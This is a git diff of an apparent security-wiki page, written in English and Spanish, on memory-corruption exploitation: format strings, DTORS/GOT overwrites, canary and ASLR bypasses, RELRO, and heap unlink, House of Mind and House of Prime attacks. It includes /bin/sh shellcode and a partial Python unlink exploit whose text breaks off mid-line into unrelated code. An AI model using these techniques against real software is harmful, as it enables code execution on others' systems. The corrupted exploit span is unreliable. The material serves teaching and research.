+![](<../../.gitbook/assets/image (622).png>) And from the leak you can see the **pointer to the flag** is in the **8th** parameter: -![](../../.gitbook/assets/image%20%28620%29.png) +![](<../../.gitbook/assets/image (623).png>) So, **accessing** the **8th parameter** you can get the flag: -![](../../.gitbook/assets/image%20%28624%29.png) +![](<../../.gitbook/assets/image (624).png>) Note that following the **previous exploit** and realising that you can **leak content** you can **set pointers** to **`printf`** to the section where the **executable** is **loaded** and **dump** it **entirely**! @@ -472,8 +476,8 @@ Note that following the **previous exploit** and realising that you can **leak c Nowadays is very **weird to find a binary with a dtor section**. {% endhint %} -The destructor are functions that are **executed before program finishes**. -If you manage to **write** an **address** to a **shellcode** in **`__DTOR_END__`** , that will be **executed** before the programs ends. +The destructor are functions that are **executed before program finishes**.\ +If you manage to **write** an **address** to a **shellcode** in **`__DTOR_END__`** , that will be **executed** before the programs ends.\ Get the address of this section with: ```bash @@ -485,31 +489,31 @@ Usually you will find the **DTOR** section **between** the values `ffffffff` and ### **Format Strings to Buffer Overflows** -Tthe **sprintf moves** a formatted string **to** a **variable.** Therefore, you could abuse the **formatting** of a string to cause a **buffer overflow in the variable** where the content is copied to. +Tthe **sprintf moves** a formatted string **to** a **variable.** Therefore, you could abuse the **formatting** of a string to cause a **buffer overflow in the variable** where the content is copied to.\ For example, the payload `%.44xAAAA` will **write 44B+"AAAA" in the variable**, which may cause a buffer overflow. -### **\_\_atexit Structures** +### **\__atexit Structures** {% hint style="danger" %} Nowadays is very **weird to exploit this**. {% endhint %} -**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**. -If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated. -Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64\_86**. +**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\ +If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\ +Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64\_86**.\ The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector. -### **setjmp\(\) & longjmp\(\)** +### **setjmp() & longjmp()** {% hint style="danger" %} Nowadays is very **weird to exploit this**. {% endhint %} -**`Setjmp()`** allows to **save** the **context** \(the registers\) -**`longjmp()`** allows to **restore** the **context**. -The **saved registers** are: `EBX, ESI, EDI, ESP, EIP, EBP` -What happens is that EIP and ESP are passed by the **`PTR_MANGLE`** function, so the **architecture vulnerable to this attack are the same as above**. -They are useful for error recovery or interrupts. +**`Setjmp()`** allows to **save** the **context** (the registers)\ +**`longjmp()`** allows to **restore** the **context**.\ +The **saved registers** are: `EBX, ESI, EDI, ESP, EIP, EBP`\ +What happens is that EIP and ESP are passed by the **`PTR_MANGLE`** function, so the **architecture vulnerable to this attack are the same as above**.\ +They are useful for error recovery or interrupts.\ However, from what I have read, the other registers are not protected, **so if there is a `call ebx`, `call esi` or `call edi`** inside the function being called, control can be taken over. Or you could also modify EBP to modify the ESP. #### **VTable y VPTR en C++** @@ -524,11 +528,11 @@ Each object of a **class** has a **VPtr** which is a **pointer** to the arrayof PaX dive el espacio de direcciones del proceso en 3 grupos: -Codigo y datos iniciados y no iniciados: .text, .data y .bss —> 16bits de entropia en la variable delta\_exec, esta variable se inicia aleatoriamente con cada proceso y se suma a las direcciones iniciales +Codigo y datos iniciados y no iniciados: .text, .data y .bss —> 16bits de entropia en la variable delta_exec, esta variable se inicia aleatoriamente con cada proceso y se suma a las direcciones iniciales -Memoria asignada por mmap\(\) y libraries compartidas —> 16bits, delta\_mmap +Memoria asignada por mmap() y libraries compartidas —> 16bits, delta_mmap -El stack —> 24bits, delta\_stack —> Realmente 11 \(del byte 10º al 20º inclusive\) —>alineado a 16bytes —> 524.288 posibles direcciones reales del stack +El stack —> 24bits, delta_stack —> Realmente 11 (del byte 10º al 20º inclusive) —>alineado a 16bytes —> 524.288 posibles direcciones reales del stack Las variables de entorno y los argumentos se desplazan menos que un buffer en el stack. @@ -538,43 +542,43 @@ Es una técnica para convertir un buffer overflow en un error de cadena de forma **Ataque a librerías** -Las librerías están en una posición con 16bits de aleatoriedad = 65636 posibles direcciones. Si un servidor vulnerable llama a fork\(\) el espacio de direcciones de memoria es clocado en el proceso hijo y se mantiene intacto. Por lo que se puede intentar hacer un brute force a la función usleep\(\) de libc pasándole como argumento “16” de forma que cuando tarde más de lo normal en responder se habrá encontrado dicha función. Sabiendo dónde está dicha función se puede obtener delta\_mmap y calcular las demás. +Las librerías están en una posición con 16bits de aleatoriedad = 65636 posibles direcciones. Si un servidor vulnerable llama a fork() el espacio de direcciones de memoria es clocado en el proceso hijo y se mantiene intacto. Por lo que se puede intentar hacer un brute force a la función usleep() de libc pasándole como argumento “16” de forma que cuando tarde más de lo normal en responder se habrá encontrado dicha función. Sabiendo dónde está dicha función se puede obtener delta_mmap y calcular las demás. La única forma de estar seguros de que el ASLR funciona es usando arquitectura de 64bits. Ahí no hay ataques de fuerza bruta. #### **StackGuard y StackShield** -**StackGuard** inserta antes del EIP —> 0x000aff0d\(null, \n, EndOfFile\(EOF\), \r\) —> Siguen siendo vulnerables recv\(\), memcpy\(\), read\(\), bcoy\(\) y no protege el EBP +**StackGuard** inserta antes del EIP —> 0x000aff0d(null, \n, EndOfFile(EOF), \r) —> Siguen siendo vulnerables recv(), memcpy(), read(), bcoy() y no protege el EBP **StackShield** es más elaborado que StackGuard -Guarda en una tabla \(Global Return Stack\) todas las direcciones EIP de vuelta de forma que el overflow no cause ningún daño. Ademas, se pueden comparar ambas direcciones para a ver si ha habido un desbordamiento. +Guarda en una tabla (Global Return Stack) todas las direcciones EIP de vuelta de forma que el overflow no cause ningún daño. Ademas, se pueden comparar ambas direcciones para a ver si ha habido un desbordamiento. También se puede comprobar la dirección de retorno con un valor límite, así si el EIP se va a un sitio distinto del habitual como el espacio de datos se sabrá. Pero esto se sortea con Ret-to-lib, ROPs o ret2ret. Como se puede ver stackshield tampoco protege las variables locales. -#### **Stack Smash Protector \(ProPolice\) -fstack-protector** +#### **Stack Smash Protector (ProPolice) -fstack-protector** Se pone el canary antes del EBP. Reordena las variables locales para que los buffers estén en las posiciones más altas y así no puedan sobreescribir otras variables. -Además, realiza una copia segura de los argumentos pasados encima de la pila \(encima de las vars locales\) y usa estas copias como argumentos. +Además, realiza una copia segura de los argumentos pasados encima de la pila (encima de las vars locales) y usa estas copias como argumentos. No puede proteger arrays de menos de 8 elementos ni buffers que formen parte de una estructura del usuario. -El canary es un número random sacado de “/dev/urandom” o sino es 0xff0a0000. Se almacena en TLS\(Thread Local Storage\). Los hilos comparten el mismo espacio de memoria, el TLS es un área que tiene variables globales o estáticas de cada hilo. Sin embargo, en ppio estas son copiadas del proceso padre aunque el proceso hijo podría modificar estos datos sin modificar los del padre ni los de los demás hijos. El problema es que si se usa fork\(\) pero no se crea un nuevo canario, entonces todos los procesos \(padre e hijos\) usan el mismo canario. En i386 se almacena en gs:0x14 y en x86\_64 se almacena en fs:0x28 +El canary es un número random sacado de “/dev/urandom” o sino es 0xff0a0000. Se almacena en TLS(Thread Local Storage). Los hilos comparten el mismo espacio de memoria, el TLS es un área que tiene variables globales o estáticas de cada hilo. Sin embargo, en ppio estas son copiadas del proceso padre aunque el proceso hijo podría modificar estos datos sin modificar los del padre ni los de los demás hijos. El problema es que si se usa fork() pero no se crea un nuevo canario, entonces todos los procesos (padre e hijos) usan el mismo canario. En i386 se almacena en gs:0x14 y en x86\_64 se almacena en fs:0x28 Esta protección localiza funciones que tengan buffer que puedan ser atacados e incluye en ellas código al ppio de la función para colocar el canario y código al final para comprobarlo. -La función fork\(\) realiza una copia exacta del proceso del padre, por eso mismo si un servidor web llama a fork\(\) se puede hacer un ataque de fuerza bruta byte por byte hasta averiguar el canary que se está utilizando. +La función fork() realiza una copia exacta del proceso del padre, por eso mismo si un servidor web llama a fork() se puede hacer un ataque de fuerza bruta byte por byte hasta averiguar el canary que se está utilizando. -Si se usa la función execve\(\) después de fork\(\), se sobreescribe el espacio y el ataque ya no es posible. vfork\(\) permite ejecutar el proceso hijo sin crear un duplicado hasta que el proceso hijo intentase escribir, entonces sí creaba el duplicado. +Si se usa la función execve() después de fork(), se sobreescribe el espacio y el ataque ya no es posible. vfork() permite ejecutar el proceso hijo sin crear un duplicado hasta que el proceso hijo intentase escribir, entonces sí creaba el duplicado. -#### **Relocation Read-Only \(RELRO\)** +#### **Relocation Read-Only (RELRO)** ### Relro -**Relro \(Read only Relocation\)** affects the memory permissions similar to NX. The difference is whereas with NX it makes the stack executable, RELRO makes **certain things read only** so we **can't write** to them. The most common way I've seen this be an obstacle is preventing us from doing a **`got` table overwrite**, which will be covered later. The `got` table holds addresses for libc functions so that the binary knows what the addresses are and can call them. Let's see what the memory permissions look like for a `got` table entry for a binary with and without relro. +**Relro (Read only Relocation)** affects the memory permissions similar to NX. The difference is whereas with NX it makes the stack executable, RELRO makes **certain things read only** so we **can't write** to them. The most common way I've seen this be an obstacle is preventing us from doing a **`got` table overwrite**, which will be covered later. The `got` table holds addresses for libc functions so that the binary knows what the addresses are and can call them. Let's see what the memory permissions look like for a `got` table entry for a binary with and without relro. With relro: @@ -646,14 +650,14 @@ gef➤ search-pattern 0x7ffff7e4d100 0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]" ``` -For the binary **without relro**, we can see that the `got` entry address for `fgets` is `0x404018`. Looking at the memory mappings we see that it falls between `0x404000` and `0x405000`, which has the **permissions `rw`**, meaning we can read and write to it. For the binary **with relro**, we see that the `got` table address for the run of the binary \(pie is enabled so this address will change\) is `0x555555557fd0`. In that binary's memory mapping it falls between `0x0000555555557000` and `0x0000555555558000`, which has the memory **permission `r`**, meaning that we can only read from it. +For the binary **without relro**, we can see that the `got` entry address for `fgets` is `0x404018`. Looking at the memory mappings we see that it falls between `0x404000` and `0x405000`, which has the **permissions `rw`**, meaning we can read and write to it. For the binary **with relro**, we see that the `got` table address for the run of the binary (pie is enabled so this address will change) is `0x555555557fd0`. In that binary's memory mapping it falls between `0x0000555555557000` and `0x0000555555558000`, which has the memory **permission `r`**, meaning that we can only read from it. So what's the **bypass**? The typical bypass I use is to just don't write to memory regions that relro causes to be read only, and **find a different way to get code execution**. Note that in order for this to happen the binary needs to know previous to execution the addresses to the functions: * Lazy binding: The address of a function is searched the first time the function is called. So, the GOT needs to have write permissions during execution. -* Bind now: The addresses of the functions are solved at the begginig of the execution, then read-only permissions are given to sensitive sections like .got, .dtors, .ctors, .dynamic, .jcr. ```**``-z relro`**`y`**`-z now\`\*\* +* Bind now: The addresses of the functions are solved at the begginig of the execution, then read-only permissions are given to sensitive sections like .got, .dtors, .ctors, .dynamic, .jcr. `` `** ``-z relro`**`y`**`-z now\`\*\* To check if a program uses Bind now you can do: @@ -663,43 +667,43 @@ readelf -l /proc/ID_PROC/exe | grep BIND_NOW \*\*\*\* -Cuando el binario es cargado en memoria y una función es llamada por primera vez se salta a la PLT \(Procedure Linkage Table\), de aquí se realiza un salto \(jmp\) a la GOT y descubre que esa entrada no ha sido resuelta \(contiene una dirección siguiente de la PLT\). Por lo que invoca al Runtime Linker o rtfd para que resuelva la dirección y la guarde en la GOT. +Cuando el binario es cargado en memoria y una función es llamada por primera vez se salta a la PLT (Procedure Linkage Table), de aquí se realiza un salto (jmp) a la GOT y descubre que esa entrada no ha sido resuelta (contiene una dirección siguiente de la PLT). Por lo que invoca al Runtime Linker o rtfd para que resuelva la dirección y la guarde en la GOT. -Cuando se llama a una función se llama a la PLT, esta tiene la dirección de la GOT donde se almacena la dirección de la función, por lo que redirige el flujo allí y así se llama a la función. Sin embargo, si es la primera vez que se llama a la función, lo que hay en la GOT es la siguiente instrucción de la PLT, por lo tanto el flujo sigue el código de la PLT \(rtfd\) y averigua la dirección de la función, la guarda en la GOT y la llama. +Cuando se llama a una función se llama a la PLT, esta tiene la dirección de la GOT donde se almacena la dirección de la función, por lo que redirige el flujo allí y así se llama a la función. Sin embargo, si es la primera vez que se llama a la función, lo que hay en la GOT es la siguiente instrucción de la PLT, por lo tanto el flujo sigue el código de la PLT (rtfd) y averigua la dirección de la función, la guarda en la GOT y la llama. Al cargar un binario en memoria el compilador le ha dicho en qué offset tiene que situar datos que se deben de cargar cuando se corre el programa. -Lazy binding —> La dirección de la función se busca la primera vez que se invoca dicha función, por lo que la GOT tiene permisos de escritura para que cuando se busque, se guarde ahí y no haya que volver a buscarla. +Lazy binding —> La dirección de la función se busca la primera vez que se invoca dicha función, por lo que la GOT tiene permisos de escritura para que cuando se busque, se guarde ahí y no haya que volver a buscarla. -Bind now —> Las direcciones de las funciones se buscan al cargar el programa y se cambian los permisos de las secciones .got, .dtors, .ctors, .dynamic, .jcr a solo lectura. **-z relro** y **-z now** +Bind now —> Las direcciones de las funciones se buscan al cargar el programa y se cambian los permisos de las secciones .got, .dtors, .ctors, .dynamic, .jcr a solo lectura. **-z relro** y **-z now** A pesar de esto, en general los programas no están complicados con esas opciones luego estos ataques siguen siendo posibles. -**readelf -l /proc/ID\_PROC/exe \| grep BIND\_NOW** —> Para saber si usan el BIND NOW +**readelf -l /proc/ID_PROC/exe | grep BIND_NOW** —> Para saber si usan el BIND NOW -#### **Fortify Source -D\_FORTIFY\_SOURCE=1 o =2** +#### **Fortify Source -D_FORTIFY_SOURCE=1 o =2** Trata de identificar las funciones que copian de un sitio a otro de forma insegura y cambiar la función por una función segura. -Por ej: -char buf\[16\]; -strcpy\(but, source\); +Por ej:\ +char buf\[16];\ +strcpy(but, source); -La identifica como insegura y entonces cambia strcpy\(\) por \_\_strcpy\_chk\(\) utilizando el tamaño del buffer como tamaño máximo a copiar. +La identifica como insegura y entonces cambia strcpy() por \__strcpy_chk() utilizando el tamaño del buffer como tamaño máximo a copiar. La diferencia entre **=1** o **=2** es que: La segunda no permite que **%n** venga de una sección con permisos de escritura. Además el parámetro para acceso directo de argumentos solo puede ser usado si se usan los anteriores, es decir, solo se pueda usar **%3$d** si antes se ha usado **%2$d** y **%1$d** -Para mostrar el mensaje de error se usa el argv\[0\], por lo que si se pone en el la dirección de otro sitio \(como una variable global\) el mensaje de error mostrará el contenido de dicha variable. Pag 191 +Para mostrar el mensaje de error se usa el argv\[0], por lo que si se pone en el la dirección de otro sitio (como una variable global) el mensaje de error mostrará el contenido de dicha variable. Pag 191 #### **Reemplazo de Libsafe** -Se activa con: LD\_PRELOAD=/lib/libsafe.so.2 -o -“/lib/libsave.so.2” > /etc/ld.so.preload +Se activa con: LD_PRELOAD=/lib/libsafe.so.2\ +o\ +“/lib/libsave.so.2” > /etc/ld.so.preload -Se interceptan las llamadas a algunas funciones inseguras por otras seguras. No está estandarizado. \(solo para x86, no para compilaxiones con -fomit-frame-pointer, no compilaciones estaticas, no todas las funciones vulnerables se vuelven seguras y LD\_PRELOAD no sirve en binarios con suid\). +Se interceptan las llamadas a algunas funciones inseguras por otras seguras. No está estandarizado. (solo para x86, no para compilaxiones con -fomit-frame-pointer, no compilaciones estaticas, no todas las funciones vulnerables se vuelven seguras y LD_PRELOAD no sirve en binarios con suid). #### **ASCII Armored Address Space** @@ -707,101 +711,101 @@ Consiste en cargar las librería compartidas de 0x00000000 a 0x00ffffff para que **ret2plt** -Consiste en realiza un ROP de forma que se llame a la función strcpy@plt \(de la plt\) y se apunte a la entrada de la GOT y se copie el primer byte de la función a la que se quiere llamar \(system\(\)\). Acto seguido se hace lo mismo apuntando a GOT+1 y se copia el 2ºbyte de system\(\)… Al final se llama la dirección guardada en GOT que será system\(\) +Consiste en realiza un ROP de forma que se llame a la función strcpy@plt (de la plt) y se apunte a la entrada de la GOT y se copie el primer byte de la función a la que se quiere llamar (system()). Acto seguido se hace lo mismo apuntando a GOT+1 y se copia el 2ºbyte de system()… Al final se llama la dirección guardada en GOT que será system() **Falso EBP** -Para las funciones que usen el EBP como registro para apuntar a los argumentos al modificar el EIP y apuntar a system\(\) se debe haber modificado el EBP también para que apunte a una zona de memoria que tenga 2 bytes cuales quiera y después la dirección a &”/bin/sh”. +Para las funciones que usen el EBP como registro para apuntar a los argumentos al modificar el EIP y apuntar a system() se debe haber modificado el EBP también para que apunte a una zona de memoria que tenga 2 bytes cuales quiera y después la dirección a &”/bin/sh”. -#### **Jaulas con chroot\(\)** +#### **Jaulas con chroot()** -debootstrap -arch=i386 hardy /home/user —> Instala un sistema básico bajo un subdirectorio específico +debootstrap -arch=i386 hardy /home/user —> Instala un sistema básico bajo un subdirectorio específico Un admin puede salir de una de estas jaulas haciendo: mkdir foo; chroot foo; cd .. #### **Instrumentación de código** -Valgrind —> Busca errores -Memcheck -RAD \(Return Address Defender\) +Valgrind —> Busca errores\ +Memcheck\ +RAD (Return Address Defender)\ Insure++ ## **8 Heap Overflows: Exploits básicos** **Trozo asignado** -prev\_size \| -size \| —Cabecera -\*mem \| Datos +prev_size |\ +size | —Cabecera\ +\*mem | Datos **Trozo libre** -prev\_size \| -size \| -\*fd \| Ptr forward chunk -\*bk \| Ptr back chunk —Cabecera -\*mem \| Datos +prev_size |\ +size |\ +\*fd | Ptr forward chunk\ +\*bk | Ptr back chunk —Cabecera\ +\*mem | Datos -Los trozos libres están en una lista doblemente enlazada \(bin\) y nunca pueden haber dos trozos libres juntos \(se juntan\) +Los trozos libres están en una lista doblemente enlazada (bin) y nunca pueden haber dos trozos libres juntos (se juntan) -En “size” hay bits para indicar: Si el trozo anterior está en uso, si el trozo ha sido asignado mediante mmap\(\) y si el trozo pertenece al arena primario. +En “size” hay bits para indicar: Si el trozo anterior está en uso, si el trozo ha sido asignado mediante mmap() y si el trozo pertenece al arena primario. -Si al liberar un trozo alguno de los contiguos se encuentra libre , estos se fusionan mediante la macro unlink\(\) y se pasa el nuevo trozo más grande a frontlink\(\) para que le inserte el bin adecuado. +Si al liberar un trozo alguno de los contiguos se encuentra libre , estos se fusionan mediante la macro unlink() y se pasa el nuevo trozo más grande a frontlink() para que le inserte el bin adecuado. -unlink\(\){ -BK = P->bk; —> El BK del nuevo chunk es el que tuviese el que ya estaba libre antes -FD = P->fd; —> El FD del nuevo chunk es el que tuviese el que ya estaba libre antes -FD->bk = BK; —> El BK del siguiente chunk apunta al nuevo chunk -BK->fd = FD; —> El FD del anterior chunk apunta al nuevo chunk +unlink(){\ +BK = P->bk; —> El BK del nuevo chunk es el que tuviese el que ya estaba libre antes\ +FD = P->fd; —> El FD del nuevo chunk es el que tuviese el que ya estaba libre antes\ +FD->bk = BK; —> El BK del siguiente chunk apunta al nuevo chunk\ +BK->fd = FD; —> El FD del anterior chunk apunta al nuevo chunk\ } -Por lo tanto si conseguimos modificar el P->bk con la dirección de un shellcode y el P->fd con la dirección a una entrada en la GOT o DTORS menos 12 se logra: +Por lo tanto si conseguimos modificar el P->bk con la dirección de un shellcode y el P->fd con la dirección a una entrada en la GOT o DTORS menos 12 se logra: -BK = P->bk = &shellcode -FD = P->fd = &\_\_dtor\_end\_\_ - 12 -FD->bk = BK -> \*\(\(&\_\_dtor\_end\_\_ - 12\) + 12\) = &shellcode +BK = P->bk = \&shellcode\ +FD = P->fd = &\__dtor_end\_\_ - 12\ +FD->bk = BK -> \*((&\__dtor_end\_\_ - 12) + 12) = \&shellcode Y así se se ejecuta al salir del programa la shellcode. -Además, la 4º sentencia de unlink\(\) escribe algo y la shellcode tiene que estar reparada para esto: +Además, la 4º sentencia de unlink() escribe algo y la shellcode tiene que estar reparada para esto: -BK->fd = FD -> \*\(&shellcode + 8\) = \(&\_\_dtor\_end\_\_ - 12\) —> Esto provoca la escritura de 4 bytes a partir del 8º byte de la shellcode, por lo que la primera instrucción de la shellcode debe ser un jmp para saltar esto y caer en unos nops que lleven al resto de la shellcode. +BK->fd = FD -> \*(\&shellcode + 8) = (&\__dtor_end\_\_ - 12) —> Esto provoca la escritura de 4 bytes a partir del 8º byte de la shellcode, por lo que la primera instrucción de la shellcode debe ser un jmp para saltar esto y caer en unos nops que lleven al resto de la shellcode. Por lo tanto el exploit se crea: En el buffer1 metemos la shellcode comenzando por un jmp para que caiga en los nops o en el resto de la shellcode. -Después de la shell code metemos relleno hasta llegar al campo prev\_size y size del siguiente trozo. En estos sitios metemos 0xfffffff0 \(de forma que se sobrescrita el prev\_size para que tenga el bit que dice que está libre\) y “-4“\(0xfffffffc\) en el size \(para que cuando compruebe en el 3º trozo si el 2º estaba libre en realidad vaya al prev\_size modificado que le dirá que s´está libre\) -> Así cuando free\(\) investigue irá al size del 3º pero en realidad irá al 2º - 4 y pensará que el 2º trozo está libre. Y entonces llamará a **unlink\(\)**. +Después de la shell code metemos relleno hasta llegar al campo prev_size y size del siguiente trozo. En estos sitios metemos 0xfffffff0 (de forma que se sobrescrita el prev_size para que tenga el bit que dice que está libre) y “-4“(0xfffffffc) en el size (para que cuando compruebe en el 3º trozo si el 2º estaba libre en realidad vaya al prev_size modificado que le dirá que s´está libre) -> Así cuando free() investigue irá al size del 3º pero en realidad irá al 2º - 4 y pensará que el 2º trozo está libre. Y entonces llamará a **unlink()**. -Al llamar a unlink\(\) usará como P->fd los primeros datos del 2º trozo por lo que ahí se meterá la dirección que se quieres sobreescribir - 12\(pues en FD->bk le sumará 12 a la dirección guardada en FD\) . Y en esa dirección introducirá la segunda dirección que encuentre en el 2º trozo, que nos interesará que sea la dirección a la shellcode\(P->bk falso\). +Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo que ahí se meterá la dirección que se quieres sobreescribir - 12(pues en FD->bk le sumará 12 a la dirección guardada en FD) . Y en esa dirección introducirá la segunda dirección que encuentre en el 2º trozo, que nos interesará que sea la dirección a la shellcode(P->bk falso). **from struct import \*** **import os** -**shellcode = "\xeb\x0caaaabbbbcccc" \#jm 12 + 12bytes de relleno** +**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno** -**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \** +**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\** -**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \** +**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\** **"\x80\xe8\xdc\xff\xff\xff/bin/sh";** -**prev\_size = pack\("<I”, 0xfffffff0\) \#Interesa que el bit que indica que el anterior trozo está libre esté a 1** +**prev_size = pack("\ Devuelve un puntero a la dirección donde comienza el trozo (mem-8) … -ar\_ptr = arena\_for\_chunk\(p\); —> chunk\_non\_main\_arena\(ptr\)?heap\_for\_ptr\(ptr\)->ar\_ptr:&main\_arena \[1\] +ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:\&main_arena \[1] … -\_int\_free\(ar\_ptr, mem\); +\_int_free(ar_ptr, mem); } -En \[1\] comprueba el campo size el bit NON\_MAIN\_ARENA, el cual se puede alterar para que la comprobación devuelva true y ejecute heap\_for\_ptr\(\) que hace un and a “mem” dejando a 0 los 2.5 bytes menos importantes \(en nuestro caso de 0x0804a000 deja 0x08000000\) y accede a 0x08000000->ar\_ptr \(como si fuese un struct heap\_info\) +En \[1] comprueba el campo size el bit NON_MAIN_ARENA, el cual se puede alterar para que la comprobación devuelva true y ejecute heap_for_ptr() que hace un and a “mem” dejando a 0 los 2.5 bytes menos importantes (en nuestro caso de 0x0804a000 deja 0x08000000) y accede a 0x08000000->ar_ptr (como si fuese un struct heap_info) -De esta forma si podemos controlar un trozo por ejemplo en 0x0804a000 y se va a liberar un trozo en **0x081002a0** podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo **0x0804a000**. Cuando este segundo trozo se libere se encontrará que heap\_for\_ptr\(ptr\)->ar\_ptr devuelve lo que hemos escrito en 0x08100000 \(pues se aplica a 0x081002a0 el and que vimos antes y de ahí se saca el valor de los 4 primeros bytes, el ar\_ptr\) +De esta forma si podemos controlar un trozo por ejemplo en 0x0804a000 y se va a liberar un trozo en **0x081002a0** podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo **0x0804a000**. Cuando este segundo trozo se libere se encontrará que heap_for_ptr(ptr)->ar_ptr devuelve lo que hemos escrito en 0x08100000 (pues se aplica a 0x081002a0 el and que vimos antes y de ahí se saca el valor de los 4 primeros bytes, el ar_ptr) -De esta forma se llama a \_int\_free\(ar\_ptr, mem\), es decir, **\_int\_free\(0x0804a000, 0x081002a0\) -\_int\_free\(mstate av, Void\_t\* mem\){** -… -bck = unsorted\_chunks\(av\); -fwd = bck->fd; -p->bk = bck; -p->fd = fwd; -bck->fd = p; -fwd->bk = p; +De esta forma se llama a \_int_free(ar_ptr, mem), es decir, **\_int_free(0x0804a000, 0x081002a0)**\ +**\_int_free(mstate av, Void_t\* mem){**\ +…\ +bck = unsorted_chunks(av);\ +fwd = bck->fd;\ +p->bk = bck;\ +p->fd = fwd;\ +bck->fd = p;\ +fwd->bk = p; ..} Como hemos visto antes podemos controlar el valor de av, pues es lo que escribimos en el trozo que se va a liberar. -Tal y como se define unsorted\_chunks, sabemos que: -bck = &av->bins\[2\]-8; -fwd = bck->fd = \*\(av->bins\[2\]\); -fwd->bk = \*\(av->bins\[2\] + 12\) = p; +Tal y como se define unsorted_chunks, sabemos que:\ +bck = \&av->bins\[2]-8;\ +fwd = bck->fd = \*(av->bins\[2]);\ +fwd->bk = \*(av->bins\[2] + 12) = p; -Por lo tanto si en av->bins\[2\] escribimos el valor de \_\_DTOR\_END\_\_-12 en la última instrucción se escribirá en \_\_DTOR\_END\_\_ la dirección del segundo trozo. +Por lo tanto si en av->bins\[2] escribimos el valor de \__DTOR_END\_\_-12 en la última instrucción se escribirá en \__DTOR_END\_\_ la dirección del segundo trozo. -Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de \_\_DTOR\_END\_\_-12 porque de ahí la sacará av->bins\[2\] +Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de \__DTOR_END\_\_-12 porque de ahí la sacará av->bins\[2] -En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap\_for\_ptr\(\) piense que el ar\_ptr está al inicio del primer trozo y saque de ahí el av->bins\[2\] +En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap_for_ptr() piense que el ar_ptr está al inicio del primer trozo y saque de ahí el av->bins\[2] -En el segundo trozo y gracias al primero sobreescribimos el prev\_size con un jump 0x0c y el size con algo para activar -> NON\_MAIN\_ARENA +En el segundo trozo y gracias al primero sobreescribimos el prev_size con un jump 0x0c y el size con algo para activar -> NON_MAIN_ARENA A continuación en el trozo 2 ponemos un montón de nops y finalmente la shellcode -De esta forma se llamará a \_int\_free\(TROZO1, TROZO2\) y seguirá las instrucciones para escribir en \_\_DTOR\_END\_\_ la dirección del prev\_size del TROZO2 el cual saltará a la shellcode. +De esta forma se llamará a \_int_free(TROZO1, TROZO2) y seguirá las instrucciones para escribir en \__DTOR_END\_\_ la dirección del prev_size del TROZO2 el cual saltará a la shellcode. Para aplicar esta técnica hace falta que se cumplan algunos requerimientos más que complican un poco más el payload. @@ -916,85 +920,85 @@ Esta técnica ya no es aplicable pues se aplicó casi el mismo parche que para u Es una variante de The house of mind -nos interesa llegar a ejecutar el siguiente código al cuál se llega pasada la primera comprobación de la función \_int\_free\(\) +nos interesa llegar a ejecutar el siguiente código al cuál se llega pasada la primera comprobación de la función \_int_free() -fb = &\(av->fastbins\[fastbin\_index\(size\)\] —> Siendo fastbin\_index\(sz\) —> \(sz >> 3\) - 2 +fb = &(av->fastbins\[fastbin_index(size)] —> Siendo fastbin_index(sz) —> (sz >> 3) - 2 … -p->fd = \*fb +p->fd = \*fb \*fb = p -De esta forma si se pone en “fb” da dirección de una función en la GOT, en esta dirección se pondrá la dirección al trozo sobrescrito. Para esto será necesario que la arena esté cerca de las direcciones de dtors. Más exactamente que av->max\_fast esté en la dirección que vamos a sobreescribir. +De esta forma si se pone en “fb” da dirección de una función en la GOT, en esta dirección se pondrá la dirección al trozo sobrescrito. Para esto será necesario que la arena esté cerca de las direcciones de dtors. Más exactamente que av->max_fast esté en la dirección que vamos a sobreescribir. Dado que con The House of Mind se vio que nosotros controlábamos la posición del av. -Entones si en el campo size ponemos un tamaño de 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index\(\) nos devolverá fastbins\[-1\], que apuntará a av->max\_fast +Entones si en el campo size ponemos un tamaño de 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() nos devolverá fastbins\[-1], que apuntará a av->max_fast -En este caso av->max\_fast será la dirección que se sobrescrita \(no a la que apunte, sino esa posición será la que se sobrescrita\). +En este caso av->max_fast será la dirección que se sobrescrita (no a la que apunte, sino esa posición será la que se sobrescrita). -Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 8, en este trozo falso solo tenemos que poner un size mayor que 8 \(como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops\). +Además se tiene que cumplir que el trozo contiguo 